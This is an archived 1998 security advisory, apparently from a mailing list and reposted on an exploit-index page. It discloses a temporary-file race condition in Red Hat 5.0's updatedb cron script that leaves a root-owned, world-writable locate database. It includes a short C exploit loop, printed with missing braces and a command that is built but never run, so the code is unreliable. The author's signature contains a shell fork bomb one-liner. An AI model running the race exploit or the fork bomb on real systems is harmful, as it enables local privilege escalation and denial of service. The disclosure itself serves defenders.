Another TMPfile problem in updatedb script

Description:updatedb creates a tmp file in /tmp, moves it to /var/lib/locatedb, then chowns it to root. The race condition is clear.
Author:Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
Compromise: root (local)
Vulnerable Systems:RedHat 5.0, perhaps other systems such as FreeBSD using updatedb.
Date:6 March 1998

Date: Fri, 6 Mar 1998 20:44:47 +0100
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
Subject: "patched" updatedb with RH 5.0 - root compromise

    [The following text is in the "iso-8859-2" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

As an addendum to updatedb/sort bug - there's another vunerability
in this program. On my RH 5.0 it's launched every day from crontab's
script as nobody. Unfortunately, that setuid trick doesn't fix
anything. /etc/cron.daily/updatedb.cron (as root) creates temporary
file in /tmp using mktemp:

TMPFILE=`/bin/mktemp /tmp/locatedb.XXXXXX`
chown nobody.nobody $TMPFILE

That's mostly harmless. But after all, /usr/bin/updatedb is launched
via su -c. Hopefully, it will create /tmp/locatedb.XXXXXX.n file, but
there's no any error checking... Script simply moves that output file
(without checking permission nor ownership) to /var/lib/locatedb:

if [ -f $TMPFILE.n ] ; then
mv $SFILE /var/lib/locatedb [...]
chown root.root /var/lib/locatedb [...]

Because this script is running as root (!) and it's extremally
unsafe, you may perform simple tricky race condition. Here's simple
so-called "exploit":

#include <dirent.h>
#define STR "locatedb"
char buf[1024];
int infect(struct dirent *s) {
  if ((strncmp(STR,s->d_name,strlen(STR))!=0)) return -1;
  sprintf(buf,"touch %s.n",s->d_name);
  return -1;
int foo(struct dirent **a,struct dirent **b) {}
int main(int argc, char* argv[])
  struct dirent **x;
  while (1) scandir("/tmp",&x,infect,foo);

Simple as only it can be. Our file (in this case empty one
has been moved to /var/lib/locatedb... Hey, but permissions
were NOT changed (666). So not we have an world-writable,
root-owned file. Nice. But that's not all. Try filling it
with junk (eg. a lot of 0s), then run 'locate' utility...
It will cause segmentation fault. It's probably exploitable,
and root/other users privledges may be compromised. Hopefully.


There's no simple fix. Bug is in updatedb itself (and it's
file creation method). Updatedb "protected" by very foolish
script... You may try changing /tmp to something more
private inside the script, but it's only a workaround.

Michał Zalewski [tel 9690] | finger 4 PGP []
Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: